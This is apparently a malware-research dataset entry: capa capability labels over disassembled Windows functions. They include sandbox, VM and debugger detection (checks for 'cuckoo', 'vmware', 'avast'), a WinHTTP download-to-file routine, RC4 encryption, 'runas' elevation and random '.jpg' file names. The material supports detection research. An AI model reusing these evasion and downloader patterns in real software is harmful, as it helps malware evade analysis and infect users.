joyce8/EMBER2024-capa huggingface dataset:
Function at 0x402080
Capabilities:
Write file on windows

Disassembly:
push r15
push r14
push r12
push rsi
push rdi
push rbx
mov eax, 0x1068
call fcn.004048d0
sub rsp, rax
mov rsi, rcx
mov rax, qword gs:[0x30]
mov rax, qword [rax + 0x60]
mov rax, qword [rax + 0x20]
mov rax, qword [rax + 0x30]
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x60], 0
lea r14, [rsp + 0x68]
lea rcx, [0x00449010]
call sub.KERNEL32.dll_AcquireSRWLockExclusive
lea rax, [rsp + 0x58]
mov qword [rsp + 0x40], rax
lea rdi, [rsp + 0x40]
mov qword [rsp + 0x48], rdi
lea rax, [fcn.00403810]
mov qword [rsp + 0x50], rax
xor r12d, r12d
lea r15, str.error:_s_n
lea rbx, [rsp + 0x30]
nop dword [rax]
lea r8, [r15 + r12]
mov r9d, 7
sub r9, r12
mov rcx, rbx
mov rdx, rdi
call fcn.00403810
cmp word [rsp + 0x38], 0
jne 0x402148
add r12, qword [rsp + 0x30]
cmp r12, 7
jne 0x402100
mov rcx, qword [rsi]
mov rdx, qword [rsi + 8]
lea r8, [0x00445b28]
lea r9, [rsp + 0x48]
call fcn.00403af0
test ax, ax
je 0x402166
lea rcx, [0x00449010]
call fcn.00420590
nop
add rsp, 0x1068
pop rbx
pop rdi
pop rsi
pop r12
pop r14
pop r15
ret
xor ebx, ebx
lea rsi, [rsp + 0x30]
lea rdi, [rsp + 0x40]
nop word cs:[rax + rax]
nop dword [rax]
lea r8, [rbx + r15]
add r8, 0xa
mov r9d, 1
sub r9, rbx
mov rcx, rsi
mov rdx, rdi
call fcn.00403810
cmp word [rsp + 0x38], 0
jne 0x402148
add rbx, qword [rsp + 0x30]
cmp rbx, 1
jne 0x402180
mov rbx, qword [rsp + 0x60]
test rbx, rbx
je 0x402205
mov rsi, qword [rsp + 0x58]
xor r15d, r15d
mov r12d, 0xffffffff
lea rdi, [rsp + 0x30]
nop dword [rax]
lea rdx, [r14 + r15]
mov r8, rbx
sub r8, r15
cmp r8, r12
cmovae r8, r12
mov qword [rsp + 0x20], 0
mov rcx, rsi
mov r9, rdi
call sub.KERNEL32.dll_WriteFile
test eax, eax
je 0x402213
mov eax, dword [rsp + 0x30]
add r15, rax
cmp r15, rbx
jne 0x4021d0
mov qword [rsp + 0x60], 0
jmp 0x402148
call sub.KERNEL32.dll_GetLastError
jmp 0x402148
Function at 0x403810
Capabilities:
Write file on windows

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x48
mov rdi, r9
mov rsi, rcx
mov r12, qword [rdx]
mov r13, qword [r12 + 8]
lea rax, [r9 + r13]
cmp rax, 0x1000
jbe 0x403909
mov qword [rsp + 0x40], r8
mov qword [rsp + 0x30], rsi
test r13, r13
je 0x4038a9
lea rbp, [r12 + 0x10]
mov r14, qword [r12]
xor esi, esi
mov ebx, 0xffffffff
lea r15, [rsp + 0x38]
nop word cs:[rax + rax]
nop dword [rax]
lea rdx, [rsi + rbp]
mov r8, r13
sub r8, rsi
cmp r8, rbx
cmovae r8, rbx
mov qword [rsp + 0x20], 0
mov rcx, r14
mov r9, r15
call sub.KERNEL32.dll_WriteFile
test eax, eax
je 0x40392b
mov eax, dword [rsp + 0x38]
add rsi, rax
cmp rsi, r13
jne 0x403870
mov qword [r12 + 8], 0
cmp rdi, 0x1001
jb 0x4038fc
mov rcx, qword [r12]
mov r8d, 0xffffffff
cmp rdi, r8
cmovb r8, rdi
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x3c]
mov rdx, qword [rsp + 0x40]
call sub.KERNEL32.dll_WriteFile
test eax, eax
je 0x403988
mov edi, dword [rsp + 0x3c]
xor eax, eax
mov rsi, qword [rsp + 0x30]
jmp 0x403abe
xor r13d, r13d
mov rsi, qword [rsp + 0x30]
mov r8, qword [rsp + 0x40]
lea rcx, [r12 + r13]
add rcx, 0x10
add r13, rdi
mov rdx, r8
mov r8, rdi
call fcn.0041cff0
mov qword [r12 + 8], r13
xor eax, eax
jmp 0x403abe
call sub.KERNEL32.dll_GetLastError
movzx ecx, ax
mov ax, 2
cmp ecx, 0x6c
jg 0x40395d
cmp ecx, 0x20
mov rsi, qword [rsp + 0x30]
jg 0x4039be
cmp ecx, 6
je 0x403a2b
cmp ecx, 8
je 0x4039ed
jmp 0x403abe
cmp ecx, 0x6f7
mov rsi, qword [rsp + 0x30]
jg 0x4039d9
cmp ecx, 0x6d
je 0x403a34
cmp ecx, 0x3e3
jne 0x403abe
mov ax, 0xc
jmp 0x403abe
call sub.KERNEL32.dll_GetLastError
movzx ecx, ax
mov ax, 2
cmp ecx, 0x6c
mov rsi, qword [rsp + 0x30]
jg 0x4039f6
cmp ecx, 0x20
jg 0x403a3d
cmp ecx, 6
je 0x403a81
cmp ecx, 8
je 0x403a6c
jmp 0x403abe
cmp ecx, 0x21
je 0x403aba
cmp ecx, 0x40
jne 0x403abe
mov ax, 0x10
jmp 0x403abe
cmp ecx, 0x718
je 0x4039ed
cmp ecx, 0x6f8
jne 0x403abe
mov ax, 0xb
jmp 0x403abe
cmp ecx, 0x6f7
jg 0x403a5c
cmp ecx, 0x6d
je 0x403a96
cmp ecx, 0x3e3
jne 0x403abe
mov word [rsp + 0x2c], 0
mov dword [rsp + 0x28], 0
mov ax, 0xc
jmp 0x403abe
mov ax, 0xd
jmp 0x403abe
mov ax, 0xa
jmp 0x403abe
cmp ecx, 0x21
je 0x403aab
cmp ecx, 0x40
jne 0x403abe
mov word [rsp + 0x2c], 0
mov dword [rsp + 0x28], 0
mov ax, 0x10
jmp 0x403abe
cmp ecx, 0x6f8
je 0x403a6c
cmp ecx, 0x718
jne 0x403abe
mov word [rsp + 0x2c], 0
mov dword [rsp + 0x28], 0
mov ax, 0xb
jmp 0x403abe
mov word [rsp + 0x2c], 0
mov dword [rsp + 0x28], 0
mov ax, 0xd
jmp 0x403abe
mov word [rsp + 0x2c], 0
mov dword [rsp + 0x28], 0
mov ax, 0xa
jmp 0x403abe
mov word [rsp + 0x2c], 0
mov dword [rsp + 0x28], 0
mov ax, 0xe
mov qword [rsi], rdi
mov word [rsi + 8], ax
mov eax, dword [rsp + 0x28]
mov dword [rsi + 0xa], eax
movzx eax, word [rsp + 0x2c]
mov word [rsi + 0xe], ax
mov rax, rsi
add rsp, 0x48
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
Function at 0x140003cb0
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
push rbx
sub rsp, 0x20
mov r9d, 0x270
mov rbx, rcx
cmp dword [rcx], r9d
jne 0x140003d03
lea r8, [rcx + 8]
mov edx, dword [r8 - 4]
xor edx, dword [r8]
lea r8, [r8 + 4]
btr edx, 0x1f
xor edx, dword [r8 - 8]
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r8 + 0x62c]
xor ecx, edx
mov dword [r8 + 0x9b8], ecx
sub r9, 1
jne 0x140003cc8
jmp 0x140003d10
cmp dword [rcx], 0x4e0
jb 0x140003d10
call fcn.140005568
mov eax, dword [rbx]
mov edx, dword [rbx + rax*4 + 4]
inc eax
mov dword [rbx], eax
mov ecx, edx
mov eax, dword [rbx + 0x1384]
shr ecx, 0xb
and eax, ecx
xor edx, eax
mov eax, edx
and eax, 0xff3a58ad
shl eax, 7
xor edx, eax
mov eax, edx
and eax, 0xffffdf8c
shl eax, 0xf
xor edx, eax
mov eax, edx
shr eax, 0x12
xor eax, edx
add rsp, 0x20
pop rbx
ret

Function at 0x14000442c
Capabilities:
Check for debugger via api

Disassembly:
push rbx
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
xor ebx, ebx
test eax, eax
jne 0x140004453
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CheckRemoteDebuggerPresent]
test eax, eax
je 0x140004455
mov bl, 1
mov al, bl
add rsp, 0x20
pop rbx
ret

Function at 0x140004460
Capabilities:
Get memory capacity

Disassembly:
sub rsp, 0x68
lea rcx, [rsp + 0x20]
mov dword [rsp + 0x20], 0x40
call qword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
test eax, eax
je 0x14000448b
mov eax, 0x80000000
cmp qword [rsp + 0x28], rax
jae 0x14000448b
mov al, 1
jmp 0x14000448d
xor al, al
add rsp, 0x68
ret
Function at 0x140004904
Capabilities:
Initialize winhttp library
Prepare http request
Receive http response
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rbp
push rdi
push r12
push r14
push r15
lea rbp, [rsp - 0x19b0]
mov eax, 0x1ab0
call fcn.14003ffd0
sub rsp, rax
mov r15, rdx
mov rsi, rcx
xor ebx, ebx
lea rcx, str.A_WinHTTP_Example_Program_1.0
xor edx, edx
mov dword [rsp + 0x20], ebx
xor r9d, r9d
xor r8d, r8d
call qword [sym.imp.WINHTTP.dll_WinHttpOpen]
mov rdi, rax
test rax, rax
jne 0x14000495b
xor al, al
jmp 0x140004b02
mov r14d, 0x68
lea rcx, [rsp + 0x40]
mov r8d, r14d
xor edx, edx
call fcn.140041400
lea rax, [rbp - 0x50]
mov dword [rsp + 0x40], r14d
mov qword [rsp + 0x58], rax
lea r9, [rsp + 0x40]
lea rax, [rbp + 0x1b0]
mov dword [rsp + 0x60], pe_nt_image_headers64
xor r8d, r8d
mov qword [rbp - 0x78], rax
xor edx, edx
mov dword [rbp - 0x70], 0x400
mov rcx, rsi
call qword [sym.imp.WINHTTP.dll_WinHttpCrackUrl]
movzx r8d, word [rsp + 0x64]
lea rdx, [rbp - 0x50]
xor r9d, r9d
mov rcx, rdi
call qword [sym.imp.WINHTTP.dll_WinHttpConnect]
mov r12, rax
test rax, rax
jne 0x1400049d4
mov rcx, rdi
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
jmp 0x140004954
cmp dword [rsp + 0x54], 2
lea r8, [rbp + 0x1b0]
mov eax, ebx
lea rdx, [0x1400a0e40]
mov ecx, 0x800000
cmove eax, ecx
xor r9d, r9d
mov dword [rsp + 0x30], eax
mov rcx, r12
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x20], rbx
call qword [sym.imp.WINHTTP.dll_WinHttpOpenRequest]
mov rsi, rax
test rax, rax
jne 0x140004a1e
mov rcx, r12
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
jmp 0x1400049c9
mov qword [rsp + 0x30], rbx
xor r9d, r9d
mov dword [rsp + 0x28], ebx
xor r8d, r8d
xor edx, edx
mov dword [rsp + 0x20], ebx
mov rcx, rsi
call qword [sym.imp.WINHTTP.dll_WinHttpSendRequest]
test eax, eax
setne r14b
test eax, eax
je 0x140004a57
xor edx, edx
mov rcx, rsi
call qword [sym.imp.WINHTTP.dll_WinHttpReceiveResponse]
test eax, eax
setne r14b
mov qword [rsp + 0x30], rbx
xor r9d, r9d
mov dword [rsp + 0x28], 0x80
xor r8d, r8d
mov edx, 0x40000000
mov dword [rsp + 0x20], 2
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov r15, rax
cmp rax, 0xffffffffffffffff
je 0x140004ae5
test r14b, r14b
je 0x140004ad9
lea r9, [rbp + 0x19f0]
mov r8d, 0x1000
lea rdx, [rbp + 0x9b0]
mov rcx, rsi
call qword [sym.imp.WINHTTP.dll_WinHttpReadData]
test eax, eax
je 0x140004ad9
mov r8d, dword [rbp + 0x19f0]
test r8d, r8d
je 0x140004ad9
lea r9, [rbp + 0x19f8]
mov qword [rsp + 0x20], rbx
lea rdx, [rbp + 0x9b0]
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_WriteFile]
jmp 0x140004a8e
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov bl, r14b
mov rcx, rsi
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov rcx, r12
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov rcx, rdi
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov al, bl
lea r11, [rsp + 0x1ab0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop r12
pop rdi
pop rbp
ret
Function at 0x140004bc4
Capabilities:
Check for sandbox username or hostname
Get hostname
Get system firmware table

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r15
push rbp
lea rbp, [rax - 0x48]
sub rsp, 0x140
lea rax, str.avast
mov qword [rsp + 0x70], rax
lea rax, [0x1400a0c20]
mov qword [rsp + 0x78], rax
lea rax, str.bitdefender
mov qword [rbp - 0x80], rax
lea rax, str.cuckoo
mov qword [rbp - 0x78], rax
lea rax, str.malware
mov qword [rbp - 0x70], rax
lea rax, str.sandbox
mov qword [rbp - 0x68], rax
lea rax, [0x1400a0c50]
mov qword [rbp - 0x60], rax
lea rax, str.vmware
mov qword [rbp - 0x58], rax
lea rax, str.virtualbox
mov qword [rbp - 0x50], rax
lea rax, str.qemu
mov qword [rbp - 0x48], rax
mov dword [rbp + 0x50], 0x80
lea rdx, [rbp + 0x50]
lea rcx, [rbp - 0x40]
call qword [sym.imp.KERNEL32.dll_GetComputerNameA]
xor ebx, ebx
test eax, eax
je 0x140004e1a
mov qword [rsp + 0x50], rbx
mov qword [rsp + 0x60], rbx
mov qword [rsp + 0x68], 0xf
mov byte [rsp + 0x50], bl
lea rdx, [rbp - 0x40]
lea rcx, [rsp + 0x50]
call fcn.1400026fc
nop
lea rdi, [rsp + 0x70]
mov rcx, qword [rdi]
call fcn.140051390
lea rcx, [rsp + 0x50]
cmp qword [rsp + 0x68], 0x10
cmovae rcx, qword [rsp + 0x50]
mov qword [rsp + 0x20], rax
mov r9, qword [rdi]
xor r8d, r8d
mov rdx, qword [rsp + 0x60]
call fcn.140003080
mov r15d, 0x1000
cmp rax, 0xffffffffffffffff
jne 0x140004de1
add rdi, 8
lea rax, [rbp - 0x40]
cmp rdi, rax
jne 0x140004c99
mov dword [rbp + 0x50], 0x80
mov r9d, 0x80
lea r8, [rbp - 0x40]
xor edx, edx
mov ecx, 0x52534d42
call qword [sym.imp.KERNEL32.dll_GetSystemFirmwareTable]
test eax, eax
je 0x140004de3
mov qword [rsp + 0x30], rbx
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x48], 0xf
lea rdx, [rbp - 0x40]
lea rcx, [rsp + 0x30]
call fcn.1400026fc
lea rdi, [rsp + 0x70]
mov rcx, qword [rdi]
call fcn.140051390
lea rcx, [rsp + 0x30]
cmp qword [rsp + 0x48], 0x10
cmovae rcx, qword [rsp + 0x30]
mov qword [rsp + 0x20], rax
mov r9, qword [rdi]
xor r8d, r8d
mov rdx, qword [rsp + 0x40]
call fcn.140003080
cmp rax, 0xffffffffffffffff
jne 0x140004dac
add rdi, 8
lea rax, [rbp - 0x40]
cmp rdi, rax
jne 0x140004d30
mov rdx, qword [rsp + 0x48]
cmp rdx, 0x10
jb 0x140004de3
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, r15
jb 0x140004da5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140004e39
call fcn.14003fa08
jmp 0x140004de3
mov rdx, qword [rsp + 0x48]
cmp rdx, 0x10
jb 0x140004de1
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, r15
jb 0x140004ddc
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140004e39
call fcn.14003fa08
mov bl, 1
mov rdx, qword [rsp + 0x68]
cmp rdx, 0x10
jb 0x140004e18
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, r15
jb 0x140004e13
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140004e33
call fcn.14003fa08
mov al, bl
lea r11, [rsp + 0x140]
mov rbx, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov r15, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret
call fcn.140050568
nop
call fcn.140050568
nop
int3
Function at 0x140004e40
Capabilities:
Get disk information
Get hostname

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rbp
lea rbp, [rsp - 0x57]
sub rsp, 0x100
mov dword [rbp + 0x67], 0x80
lea rdx, [rbp + 0x67]
lea rcx, [rbp - 0x29]
call qword [sym.imp.KERNEL32.dll_GetComputerNameA]
xor ebx, ebx
test eax, eax
je 0x14000503d
mov qword [rbp - 0x49], rbx
mov qword [rbp - 0x39], rbx
mov qword [rbp - 0x31], 0xf
mov byte [rbp - 0x49], bl
lea rdx, [rbp - 0x29]
lea rcx, [rbp - 0x49]
call fcn.1400026fc
nop
lea rcx, [0x1400a0b1c]
call fcn.140051390
lea rcx, [rbp - 0x49]
cmp qword [rbp - 0x31], 0x10
cmovae rcx, qword [rbp - 0x49]
mov qword [rsp + 0x20], rax
lea r9, [0x1400a0b1c]
xor r8d, r8d
mov rdx, qword [rbp - 0x39]
call fcn.140003080
mov esi, 0x1000
cmp rax, 0xffffffffffffffff
jne 0x140005006
mov dword [rsp + 0x38], ebx
mov qword [rsp + 0x30], rbx
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x20], rbx
xor r9d, r9d
mov r8d, 0x80
lea rdx, [rbp - 0x29]
lea rcx, [0x1400a0b20]
call qword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
test eax, eax
je 0x140005008
mov qword [rbp - 0x69], rbx
mov qword [rbp - 0x59], rbx
mov qword [rbp - 0x51], 0xf
lea rdx, [rbp - 0x29]
lea rcx, [rbp - 0x69]
call fcn.1400026fc
lea rcx, str.VMware
call fcn.140051390
lea rcx, [rbp - 0x69]
cmp qword [rbp - 0x51], 0x10
cmovae rcx, qword [rbp - 0x69]
mov qword [rsp + 0x20], rax
lea r9, str.VMware
xor r8d, r8d
mov rdx, qword [rbp - 0x59]
call fcn.140003080
cmp rax, 0xffffffffffffffff
jne 0x140004fd3
lea rcx, str.Virtual
call fcn.140051390
lea rcx, [rbp - 0x69]
cmp qword [rbp - 0x51], 0x10
cmovae rcx, qword [rbp - 0x69]
mov qword [rsp + 0x20], rax
lea r9, str.Virtual
xor r8d, r8d
mov rdx, qword [rbp - 0x59]
call fcn.140003080
cmp rax, 0xffffffffffffffff
jne 0x140004fd3
mov rdx, qword [rbp - 0x51]
cmp rdx, 0x10
jb 0x140005008
inc rdx
mov rcx, qword [rbp - 0x69]
mov rax, rcx
cmp rdx, rsi
jb 0x140004fcc
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140005058
call fcn.14003fa08
jmp 0x140005008
mov rdx, qword [rbp - 0x51]
cmp rdx, 0x10
jb 0x140005006
inc rdx
mov rcx, qword [rbp - 0x69]
mov rax, rcx
cmp rdx, rsi
jb 0x140005001
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140005058
call fcn.14003fa08
mov bl, 1
mov rdx, qword [rbp - 0x31]
cmp rdx, 0x10
jb 0x14000503b
inc rdx
mov rcx, qword [rbp - 0x49]
mov rax, rcx
cmp rdx, rsi
jb 0x140005036
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140005052
call fcn.14003fa08
mov al, bl
lea r11, [rsp + 0x100]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret
call fcn.140050568
nop
call fcn.140050568
nop
int3
Function at 0x140005060
Capabilities:
Encrypt data using rc4 ksa
Encrypt data using rc4 prga

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x200
xor r11d, r11d
mov r14, r8
mov r10d, r11d
mov ebx, r11d
mov edi, r11d
mov esi, edx
mov rbp, rcx
mov eax, ebx
mov byte [rsp + rdi], bl
cdq
inc ebx
idiv esi
movsxd rax, edx
mov cl, byte [rax + rbp]
mov byte [rsp + rdi + 0x100], cl
inc rdi
cmp ebx, 0x100
jl 0x140005090
mov rdx, r11
mov edi, 0x800000ff
mov ebx, 0xffffff00
movzx eax, byte [rsp + rdx + 0x100]
movzx r8d, byte [rsp + rdx]
add r10d, eax
add r10d, r8d
and r10d, edi
jge 0x1400050e0
dec r10d
or r10d, ebx
inc r10d
movsxd rcx, r10d
mov al, byte [rsp + rcx]
mov byte [rsp + rdx], al
inc rdx
mov byte [rsp + rcx], r8b
cmp rdx, 0x100
jl 0x1400050bf
movsxd r8, r9d
mov edx, r11d
test r9d, r9d
jle 0x14000514f
lea eax, [r11 + 1]
and eax, edi
jge 0x140005112
dec eax
or eax, ebx
inc eax
movsxd r11, eax
movzx r10d, byte [rsp + r11]
add edx, r10d
and edx, edi
jge 0x140005127
dec edx
or edx, ebx
inc edx
movsxd rcx, edx
mov al, byte [rsp + rcx]
mov byte [rsp + r11], al
mov byte [rsp + rcx], r10b
movzx ecx, byte [rsp + r11]
add rcx, r10
movzx eax, cl
mov cl, byte [rsp + rax]
xor byte [r14], cl
inc r14
sub r8, 1
jne 0x140005104
lea r11, [rsp + 0x200]
mov rbx, qword [r11 + 0x10]
mov rbp, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop r14
ret

Function at 0x1400051cc
Capabilities:
Create process on windows

Disassembly:
push rbx
sub rsp, 0x90
xor edx, edx
mov dword [rsp + 0x20], 0x70
mov rbx, rcx
lea rcx, [rsp + 0x24]
lea r8d, [rdx + 0x6c]
call fcn.140041400
lea rax, str.runas
mov qword [rsp + 0x38], rbx
lea rcx, [rsp + 0x20]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x50], 1
call qword [sym.imp.SHELL32.dll_ShellExecuteExW]
test eax, eax
setne al
add rsp, 0x90
pop rbx
ret

Function at 0x140005568
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
lea r10, [rcx + 0x9c4]
mov r9, rcx
mov eax, dword [r10]
mov r11d, 0xe3
lea r8, [r10 + 4]
mov edx, dword [r8]
xor edx, eax
btr edx, 0x1f
xor edx, eax
mov eax, edx
and al, 1
neg al
mov eax, dword [r8]
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r10 + 0x634]
xor ecx, edx
mov dword [r10 - 0x9c0], ecx
lea r10, [r8]
sub r11, 1
jne 0x14000557b
lea r10, [r9 + 0xd50]
mov r11d, 0x18c
mov eax, dword [r10]
lea r8, [r10 + 4]
mov edx, dword [r8]
xor edx, eax
btr edx, 0x1f
xor edx, eax
mov eax, edx
and al, 1
neg al
mov eax, dword [r8]
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r10 - 0xd4c]
xor ecx, edx
mov dword [r10 - 0x9c0], ecx
lea r10, [r8]
sub r11, 1
jne 0x1400055c6
mov edx, dword [r9 + 0x1380]
xor edx, dword [r9 + 4]
btr edx, 0x1f
xor edx, dword [r9 + 0x1380]
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r9 + 0x634]
xor ecx, edx
mov dword [r9 + 0x9c0], ecx
and dword [r9], 0
ret
Function at 0x1400059f4
Capabilities:
Enumerate processes

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x260
mov rsi, rcx
xor ebx, ebx
xor edx, edx
lea ecx, [rbx + 2]
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov rdi, rax
cmp rax, 0xffffffffffffffff
jne 0x140005a22
xor eax, eax
jmp 0x140005a6c
lea rdx, [rsp + 0x20]
mov dword [rsp + 0x20], 0x238
mov rcx, rdi
call sub.KERNEL32.dll_Process32FirstW
jmp 0x140005a57
lea rdx, [rsp + 0x4c]
mov rcx, rsi
call fcn.1400514f0
test eax, eax
je 0x140005a5d
lea rdx, [rsp + 0x20]
mov rcx, rdi
call sub.KERNEL32.dll_Process32NextW
test eax, eax
jne 0x140005a39
jmp 0x140005a61
mov ebx, dword [rsp + 0x28]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, ebx
lea r11, [rsp + 0x260]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rsp, r11
pop rdi
ret
Function at 0x140005b74
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
lea rbp, [rax - 0x1378]
mov eax, 0x1470
call fcn.14003ffd0
sub rsp, rax
mov rbx, rdx
mov rdi, rcx
movaps xmm0, xmmword [str.0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz]
movaps xmmword [rsp + 0x60], xmm0
movaps xmm1, xmmword [0x1400a0d80]
movaps xmmword [rsp + 0x70], xmm1
movaps xmm0, xmmword [0x1400a0d90]
movaps xmmword [rbp - 0x80], xmm0
movaps xmm1, xmmword [0x1400a0da0]
movaps xmmword [rbp - 0x70], xmm1
movaps xmm0, xmmword [0x1400a0db0]
movaps xmmword [rbp - 0x60], xmm0
movaps xmm1, xmmword [0x1400a0dc0]
movaps xmmword [rbp - 0x50], xmm1
movaps xmm0, xmmword [0x1400a0dd0]
movaps xmmword [rbp - 0x40], xmm0
movsd xmm1, qword [0x1400a0de0]
movsd qword [rbp - 0x30], xmm1
mov eax, dword [0x1400a0de8]
mov dword [rbp - 0x28], eax
movzx eax, word [0x1400a0dec]
mov word [rbp - 0x24], ax
call fcn.14000ec80
or dword [rbp + 0x1364], 0xffffffff
mov dword [rbp - 0x1c], eax
mov edx, 1
mov r8d, 0x270
mov ecx, eax
shr ecx, 0x1e
xor ecx, eax
imul eax, ecx, 0x6c078965
add eax, edx
mov dword [rbp + rdx*4 - 0x1c], eax
inc rdx
cmp rdx, r8
jb 0x140005c28
mov dword [rbp - 0x20], r8d
xor esi, esi
mov qword [rsp + 0x20], rsi
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x38], 7
mov word [rsp + 0x20], si
test rbx, rbx
je 0x140005cdf
lea rax, [rbp - 0x20]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], 0x20
or dword [rsp + 0x50], 0xffffffff
mov edx, 0x3e
lea rcx, [rsp + 0x40]
call fcn.140003c14
movsxd rcx, eax
movzx r9d, word [rsp + rcx*2 + 0x60]
mov rcx, qword [rsp + 0x30]
cmp rcx, qword [rsp + 0x38]
jae 0x140005cc7
lea rax, [rcx + 1]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x20]
cmp qword [rsp + 0x38], 8
cmovae rax, qword [rsp + 0x20]
mov word [rax + rcx*2], r9w
mov word [rax + rcx*2 + 2], si
jmp 0x140005cd9
mov r8b, sil
mov edx, 1
lea rcx, [rsp + 0x20]
call fcn.140002ca8
sub rbx, 1
jne 0x140005c66
lea r8, str..jpg
lea rdx, [rsp + 0x20]
mov rcx, rdi
call fcn.140002a74
nop
mov rdx, qword [rsp + 0x38]
cmp rdx, 8
jb 0x140005d32
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005d2d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140005d4e
call fcn.14003fa08
mov rax, rdi
lea r11, [rsp + 0x1470]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret
call fcn.140050568
int3

Function at 0x140006014
Capabilities:
Encode data using xor

Disassembly:
test rdx, rdx
je 0x140006025
xor byte [rcx], r8b
inc rcx
sub rdx, 1
jne 0x140006019
ret
Function at 0x1400338d8
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
lea r9, [rdx + rdx]
movabs r8, 0xcbf29ce484222325
xor edx, edx
test r9, r9
je 0x1400193ee
movzx eax, byte [rdx + rcx]
movabs r10, 0x100000001b3
xor r8, rax
inc rdx
imul r8, r10
cmp rdx, r9
jb 0x1400193d1
mov rax, r8
ret
sub r8, rdx
mov rcx, rdx
sar r8, 1
mov rdx, r8
jmp 0x1400193bc

Function at 0x1400338ec
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
lea r9, [rdx + rdx]
movabs r8, 0xcbf29ce484222325
xor edx, edx
test r9, r9
je 0x140019426
movzx eax, byte [rdx + rcx]
movabs r10, 0x100000001b3
xor r8, rax
inc rdx
imul r8, r10
cmp rdx, r9
jb 0x140019409
mov rax, r8
ret
sub r8, rdx
mov rcx, rdx
sar r8, 1
mov rdx, r8
jmp 0x1400193f4

Function at 0x140051e10
Capabilities:
Parse pe header

Disassembly:
mov qword [rsp + 8], rbx
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
